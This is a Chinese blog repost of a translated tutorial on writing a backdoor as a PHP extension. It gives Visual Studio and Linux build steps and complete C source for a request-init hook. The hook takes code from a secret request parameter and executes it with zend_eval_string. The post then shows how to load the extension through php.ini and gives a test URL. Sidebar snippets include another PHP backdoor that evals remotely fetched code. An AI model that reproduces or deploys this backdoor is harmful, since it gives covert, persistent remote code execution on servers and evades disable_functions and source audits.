php扩展库后门,编写基于PHP扩展库的后门

最新推荐文章于 2021-03-23 08:31:53 发布
最新推荐文章于 2021-03-23 08:31:53 发布
阅读量144 收藏
点赞数
文章标签： php扩展库后门

author：lxj616

0x00 前言

今天我们将讨论编写基于PHP扩展库的后门。通常来说，大部分入侵者都会在脚本中留下自定义代码块后门。当然，这些东西很容易通过源代码的静态或动态分析找到。

利用PHP扩展库的好处显而易见：

很难寻找

绕过disable_functions选项

有能力控制所有的代码

访问代码执行的API

1

2

3

4

很难寻找

绕过disable_functions选项

有能力控制所有的代码

访问代码执行的API

但是我们需要有编辑PHP配置文件的能力。

0x01 细节

//【译者注：用linux两条命令搞定了，何必windows费这么大劲】

作为例子，我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本，编译PHP库(可从同一来源收集)。为简单起见，我们需要是的php-5.5.15-Win32的VC11-86和源PHP-5.5.15-src.zip

解压使用C编译PHP:PHP，源代码在C:PHP-SRC。

然后，你需要进行一些设置。

1)添加预处理器定义：

ZEND_DEBUG=0

ZTS=1

ZEND_WIN32

PHP_WIN32

1

2

3

4

ZEND_DEBUG=0

ZTS=1

ZEND_WIN32

PHP_WIN32

4af2e61da59a0d39bca55988d7f7d970.png

预处理器定义

2)添加的目录，用于连接源：

C: PHP-SRCmain

C: PHP-SRCend

C: PHP-SRCTSRM

C: PHP-SRCegex

C: PHP-SRC

1

2

3

4

5

6

C:PHP-SRCmain

C:PHP-SRCend

C:PHP-SRCTSRM

C:PHP-SRC

egex

C:PHP-SRC

632a8ab287bf22554effb958d3d72888.png

其他目录连接

3)添加其他目录中liboy php5ts.lib(C： PHP dev的)

0c8295f97ce5675d9bc2f0a16b743586.png

其他目录库

4)添加连接库php5ts.lib。

539712ef65fd2bc83c32ff9860fa1a1e.png

装配额外的库

5)指定收集文件的路径。

90faa406fd1a7b907d1a2a5963f5c8ba.png

保存配置文件

配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/找到)，创建一个新的项目类型后门“控制台应用程序的Win32”。

c3334ae74cf2afd6d117308b0a44a0e3.png

在Visual StudioVyberem型“库DLL»项目”

选择合适类型

0ef488773c02f6dc20361f70262d30b7.png

然后，从项目中删除不必要的文件。应该只需要backdoor.cpp，STDAFX.CPP和stdafx.h中。

在头文件stdafx.h中

：

#pragma once

#ifndef STDAFX

#define STDAFX

#include "zend_config.w32.h"

#include "php.h"

#endif

1

2

3

4

5

6

#pragma once

#ifndef STDAFX

#define STDAFX

#include "zend_config.w32.h"

#include "php.h"

#endif

现在，我们直接进入PHP扩展的代码。删除所有行，并添加所需的文件连接。

#include "stdafx.h"

#include "zend_config.w32.h"

#include "php.h"

1

2

3

#include "stdafx.h"

#include "zend_config.w32.h"

#include "php.h"

如果workspace设置已经正确，警告就会消失。

当模块被初始化时，会有几个事件，其中每一个都在特定条件下发生。我们需要在查询执行时，去执行我们的代码。要做到这一点，你必须初始化我们所需要的功能，我给它命名为«hideme»。

PHP_RINIT_FUNCTION(hideme);

然后你可以去看模块的初始化。

zend_module_entry hideme_ext_module_entry = {

STANDARD_MODULE_HEADER,

"simple backdoor",

NULL,

NULL,

NULL,

PHP_RINIT(hideme),

NULL,

NULL,

"1.0",

STANDARD_MODULE_PROPERTIES

};

ZEND_GET_MODULE(hideme_ext);

1

2

3

4

5

6

7

8

9

10

11

12

13

zend_module_entryhideme_ext_module_entry={

STANDARD_MODULE_HEADER,

"simple backdoor",

NULL,

NULL,

NULL,

PHP_RINIT(hideme),

NULL,

NULL,

"1.0",

STANDARD_MODULE_PROPERTIES

};

ZEND_GET_MODULE(hideme_ext);

在这篇文章中，我们只需要加载中代码被执行即可，因此运行和卸载模块由空取代。

现在，你可以去看hideme的函数体。

PHP_RINIT_FUNCTION(hideme)

{

char* method = "_POST"; //超全局数组，从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数，这将是运行的代码

//【译者注：在原文作者的github代码中method是get，secret_string是execute，请大家按照github代码进行测试，不修改原文了】

zval** arr;

char* code;

if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {

HashTable* ht = Z_ARRVAL_P(*arr);

zval** val;

if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数

code = Z_STRVAL_PP(val); //值

zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行

}

}

return SUCCESS;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

PHP_RINIT_FUNCTION(hideme)

{

char*method="_POST";//超全局数组，从中我们采取perametr和价值   char* secret_string = "secret_string"; //参数，这将是运行的代码

//【译者注：在原文作者的github代码中method是get，secret_string是execute，请大家按照github代码进行测试，不修改原文了】

zval**arr;

char*code;

if(zend_hash_find(&EG(symbol_table),method,strlen(method)+1,(void**)&arr)!=FAILURE){

HashTable*ht=Z_ARRVAL_P(*arr);

zval**val;

if(zend_hash_find(ht,secret_string,strlen(secret_string)+1,(void**)&val)!=FAILURE){//查找散列表中所需的参数

code=Z_STRVAL_PP(val);//值

zend_eval_string(code,NULL,(char*)""TSRMLS_CC);//代码执行

}

}

returnSUCCESS;

}

注释应该比较清楚。最初，我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数，如果有的话，我们就从它的值中取指令，并通过zend_eval_string执行代码。

编译后的所得，即可作为一个扩展库。

下载源代码

0x02 测试

//以下为译者测试截图：

415e427041cf2dffbdc622e54a69084b.png

http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

1

http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因为原作者github代码设置的是execute)

Linux编译(kali)

apt-get install php5-dev

phpize && ./configure && make

1

2

apt-getinstallphp5-dev

phpize&&./configure&&make

在kali下测试一遍成功，我比较懒，直接chmod后把so复制到/var/www了哈哈

然后php.ini加上

extension=/var/www/back.so

1

extension=/var/www/back.so

重启apache，测试成功

评论

sfcuboy2014-09-18 12:30:16

这个太蛋疼了，用别人的扩展还得看源码了。

铁汉2014-09-18 11:58:41

就像身上藏了一只跳蚤

DM_2014-09-17 21:29:02

nginx下也有一个

https://github.com/t57root/pwnginx

猎豹白嘉丽
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kali PHP网站渗透,小白日记35：kali渗透测试之Web渗透
weixin_39541844的博客
03-11 1929
手动漏洞挖掘即扫描后，如何对发现的漏洞告警进行验证。#默认安装流传linux操作系统比windows系统安全的说法，是因为windows系统默认安装后，会开放很多服务和无用的端口，而且未经过严格安全性的配置，经常有系统服务以最高权限运行。漏洞类型--远程命令执行1、phpMyadmin安装在web服务器中的web接口，专门用来管理MySQL数据库。对于早期版本，安装后若是没有做安全配置，对敏感路径...
手动漏洞挖掘-SQL注入小谈
含笑
04-25 7639
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 服务器端程序将用户输入参数做为查询条件，直接拼接SQL语句，并将查询结果返回给客户端浏览器。 根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数
【安全牛学习笔记】Kali Linux 安装-持久加密USB安装、熟悉环境、熟悉BASH命令
weixin_34159110的博客
09-06 1607
持久加密USB安装-1LUKS: linux UNified Key Setup 磁盘分区加密规范 不依赖于操作系统的磁盘级加密 Windows——DoxBox 后端：dm-crypt 前端：cryptsetup 微软的bitlocker将镜像刻录到U盘 dd if=kali-linux-1.1.0-amd64.iso of=/dev/sdb bs=1Mroot...
php漏洞靶场,CTF靶场训练-目遍历漏洞
weixin_32557949的博客
03-23 336
Background路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过槽中带有“点-斜线(..)” 序列及其变化的文件或使用绝对文件路径来应用文件的变量，可以访问存储在文件系统上的任意文件和目录，包括应用程序源代码、配置或关键系统文件。 这种攻击也称为“点-点斜线”、 “目录遍历”、 “目录爬升” 和 “回溯” 。实验环境攻击机 kali linux ： 10.0.2...
小白日记35：kali渗透测试之Web渗透-手动漏洞挖掘（一）-默认安装引发的漏洞
ZiXuanFY的博客
10-21 5465
手动漏洞挖掘 即扫描后，如何对发现的漏洞告警进行验证。 #默认安装 流传linux操作系统比windows系统安全的说法，是因为windows系统默认安装后，会开放很多服务和无用的端口，而且未经过严格安全性的配置，经常有系统服务以最高权限运行。 漏洞类型--远程命令执行 1、phpMyadmin 安装在web服务器中的web接口，专门用来管理MySQL数
易支付美化版PHP网站正版开源版，无后门
06-10
易支付美化版采用PHP编写，意味着开发者可以利用PHP的丰富库和社区资源进行扩展和维护。同时，PHP的跨平台性使得该系统能够在多种服务器环境中运行。 3. **开源特性** 开源软件允许用户查看、修改和分发源代码，...
彩虹云商城纯净版，无后门，无限制，无二改
11-08
PHP的优点包括跨平台性、丰富的函数库以及与各种数据库的良好兼容性，使得它成为搭建电商平台的理想选择。 【压缩包子文件的文件名称列表】：彩虹云商城免费版 这个文件名表明了压缩包内的内容是彩虹云商城的一个...
RGCMS睿谷信息管理系统-PHP
06-21
睿谷信息管理系统(简称：RGCMS)是一套开源的建站管理系统，使用PHP语言编写，框架为Thinkphp5.1.+，数据库采用MYSQL数据库。睿谷信息管理系统特点：自定义各种栏目模型、功能模型，以便适应各种生产场景，模板路径...
ThinkPHP内核个人发卡系统源码 Azhe发卡去后门+免授权发卡系统源码
06-10
基于ThinkPHP的源码结构清晰，易于扩展，用户可以根据自己的业务需求进行二次开发，添加新的功能模块，如积分兑换、优惠券发放等，以满足个性化的运营需求。 总结，ThinkPHP内核个人发卡系统源码凭借其强大的...
MSFun:这个存储库包含重新实现为不同语言的 Metasploit 模块，只是为了好玩
05-29
4. **PHP 应用场景**：在渗透测试中，PHP 可能用于创建 web shell，模拟用户交互，或者作为后门程序，尤其是在目标系统是 PHP 驱动的 web 服务时。 5. **开源社区**：Metasploit 和 MSFun 都是开源项目，体现了开源...
PHP后门新玩法：一款猥琐的PHP后门分析
03-04
近日，360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本，其巧妙的代码动态生成方式，猥琐的自身页面伪装手法，让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。Webshell代码如下：关键看下面这句代码，这里执行之后其实是一张图片，解密出来的图片地址如下：然后调用file_get_contents函数读取图片为字符串，然后substr取3649字节之后的内容，再调用gzuncompress解压，得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码，如图所示：分析这段
编写基于PHP扩展库的后门
cnbird's blog
09-22 1130
http://drops.wooyun.org/tips/3003 https://github.com/t57root/pwnginx
捡了一个非常淫荡的PHP后门，给跪了
weixin_30606461的博客
01-23 2853
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xxx/xxx.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep...
手把手教你编写一个简单的PHP模块形态的后门
weixin_34255793的博客
08-03 743
看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit，就能持久接管服务器文章，很感兴趣，苦无作者没留下PoC，自己研究一番，有了此文 0×00. 引言 PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现。由于php是个开源软件并易于扩展，所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现...
lr_eval_string（）的使用方法
Y.z-努力才有成功的机会...
06-18 1255
lr_eval_string（）函数的主要作用：返回脚本中的一个参数当前的值（从参数中取得对应的值，并且转换为一个字符串）。格式：lr_eval_string("{参数名}");例如：lr_eval_string("{parm}");...
php源码扫描后门工具
最新发布
01-23
PHP源码扫描后门工具是一种可以帮助开发者检测PHP源代码中是否存在后门的工具。这种工具通常会使用静态代码分析技术，对PHP源码进行深入扫描和分析，以便找出可能存在的后门代码或者安全漏洞。 这种工具的工作原理通常是通过识别常见的后门代码特征，如eval、assert、system等函数的调用，或者是通过检测非常规的文件操作、远程代码执行等可疑行为。一旦发现可能存在后门的代码片段，工具会向开发者报告，以便开发者可以及时对代码进行修复和加固。 PHP源码扫描后门工具对于保障PHP代码的安全性非常重要。因为PHP是一种开放式的脚本语言，用户可以较为灵活地编写各种代码，但同时也容易受到恶意攻击者的攻击。使用这种工具可以帮助开发者及时发现并修复潜在的安全隐患，保障系统的安全性。 当然，虽然PHP源码扫描后门工具可以发挥一定的作用，但它并不是万能的。开发者在使用这种工具的同时，还需要注重编码规范和安全意识的培养，定期对代码进行审查和加固，以建立一个更加健壮和安全的PHP应用系统。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值